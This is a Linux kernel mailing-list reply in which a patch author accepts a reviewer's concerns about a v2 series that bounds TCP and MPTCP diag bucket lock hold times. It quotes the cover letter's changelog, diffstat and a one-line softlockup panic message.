> > [ 21.507573] Kernel panic - not syncing: softlockup: hung tasks
> > -----END crash log-----
> >
> > Best regards,
> > Zihan Xi
> >
> > changes in v2:
> > - Rebased onto net commit e2a6641e3bfd (2026-08-27).
> > - Corrected the non-listener PoC state mask to TCPF_BOUND_INACTIVE.
> > - Added current-bucket cursor validation for TCP listener, bind, and
> > ehash paths, and for MPTCP listeners, with safe restart on mismatch.
> > - Reject listen/ehash/MPTCP listener cursors unless sk_state still
> > matches the table being walked.
> > - Count TIME_WAIT bind nodes toward the batch limit and resume them via
> > tw_tb2 instead of treating them as inet_connection_sock.
> > - Kept the listener and bound-only TCP Fixes tags; dropped 7e3aab4a9cd7
> > because that commit only converted the existing ehash dump lock type.
> > - Sorted new TCP dump local declarations reverse xmas tree.
> > - Moved INET_DIAG_DUMP_CURSOR_MPTCP_LISTEN into the MPTCP patch.
> > - Read icsk_ulp_data with rcu_dereference() after dropping the MPTCP
> > listener lock.
> > - Refreshed the inline PoC and matching decoded crash log artifacts.
> > - Corrected wording and removed duplicate crash-log provenance text.
> > - Made PoC defaults match unshare -Urn ./poc (4 listener groups).
> > - Clarified crash-log UID 0, cursor fallback restart, and that UDP/RAW
> > diag locks are outside this series.
> > - v1 Link: https://lore.kernel.org/all/cover.1785307984.git.zihanx@nebusec.ai/
> >
> > Zihan Xi (2):
> > tcp: diag: bound bucket lock hold in tcp_diag_dump()
> > mptcp: diag: bound listener bucket lock hold
> >
> > include/linux/inet_diag.h | 15 ++
> > include/net/inet_hashtables.h | 18 ++
> > net/ipv4/inet_diag.c | 13 ++
> > net/ipv4/inet_hashtables.c | 18 --
> > net/ipv4/tcp_diag.c | 338 +++++++++++++++++++++++++---------
> > net/mptcp/mptcp_diag.c | 124 +++++++++----
> > 6 files changed, 383 insertions(+), 143 deletions(-)
> >
> > --
> > 2.43.0
> >
Hi Kuniyuki,
Thanks for the review.
I understand the concern about the added complexity in
tcp_diag_dump(). I will drop the cursor/batching approach.
If a much smaller change would be useful, I can respin to
only move the bytecode/filter/fill work out of the bucket
lock and keep the existing s_num restart. If not, I will
drop the series.
Thanks,
Zihan
^ permalink raw reply [flat|nested] 5+ messages in thread
end of thread, other threads:[~2026-09-03 2:35 UTC | newest]
Thread overview: 5+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2026-09-01 12:53 [PATCH net v2 0/2] tcp: diag: bound bucket lock hold in diag dump paths Zihan Xi
2026-09-01 12:53 ` [PATCH net v2 1/2] tcp: diag: bound bucket lock hold in tcp_diag_dump() Zihan Xi
2026-09-01 12:53 ` [PATCH net v2 2/2] mptcp: diag: bound listener bucket lock hold Zihan Xi
2026-09-03 2:09 ` [PATCH net v2 0/2] tcp: diag: bound bucket lock hold in diag dump paths Kuniyuki Iwashima
2026-09-03 2:35 ` zihan xi
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